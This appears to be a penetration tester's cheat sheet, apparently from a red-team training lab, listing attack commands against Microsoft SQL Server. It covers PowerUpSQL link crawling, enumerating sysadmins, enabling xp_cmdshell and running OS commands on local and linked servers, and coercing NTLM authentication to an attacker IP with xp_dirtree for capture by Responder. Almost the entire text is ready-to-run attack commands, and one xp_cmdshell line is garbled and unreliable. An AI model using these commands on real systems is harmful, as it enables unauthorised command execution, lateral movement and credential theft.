- PowerUpSQL
	- `powershell Get-SQLServerLinkCrawl -Instance 'sql-1.cyberbotic.io,1433'`
	- `powershell Get-SQLServerLinkCrawl -Instance 'sql-1.cyberbotic.io,1433' -Query 'select @@version' | select Instance, CustomQuery | % { $_ | Add-Member NoteProperty 'QueryResult' $($_.CustomQuery[0]); $_ } | fl`
- Queries:
	- `SELECT @@version`
	- `SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell'`
	- `EXEC xp_cmxp_cmdshell dshell 'dir C:\'`
	- List databases
		- `SELECT name,database_id,create_date from sys.databases`
	- List db admins
		- `SELECT name,type_desc,is_disabled,create_date FROM master.sys.server_principals WHERE IS_SRVROLEMEMBER ('sysadmin',name) = 1 ORDER BY name`
	- Enable xp_cmdshell:
		- `sp_configure 'Show Advanced Options', 1; RECONFIGURE;`
		- `sp_configure 'xp_cmdshell', 1; RECONFIGURE`
	- Use xp_dirtree (with Responder)
		- `EXEC master.sys.xp_dirtree '\\10.10.14.12\CTHULHUFHTAGN',1,1`
	- Discover linked databases:
		- `SELECT * FROM master..sysservers`
	- Execute queries on linked databases:
		- `SELECT * FROM OPENQUERY("SQL02.DEV.ZEROPOINTSECURITY.CO.UK", 'select * FROM master..sysservers')`
		- `EXEC('xp_cmdshell "dir C:\"') AT [sql02.dev.zeropointsecurity.co.uk]`
		- `SELECT * FROM OPENQUERY("sql02.dev.zeropointsecurity.co.uk", 'select * from sys.configurations where name = ''xp_cmdshell''')`
		- `SELECT * FROM OPENQUERY("sql02.dev.zeropointsecurity.co.uk", 'select @@servername; exec xp_cmdshell ''whoami''')`
	- Search for specific keywords in databases and format results into table
		- `Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded | ? { $_.Status -eq 'Accessible' } | Get-SQLColumnSampleDataThreaded -SampleSize 5 -Keywords 'student,name' -NoDefaults | select instance, database, column, sample | ft -autosize`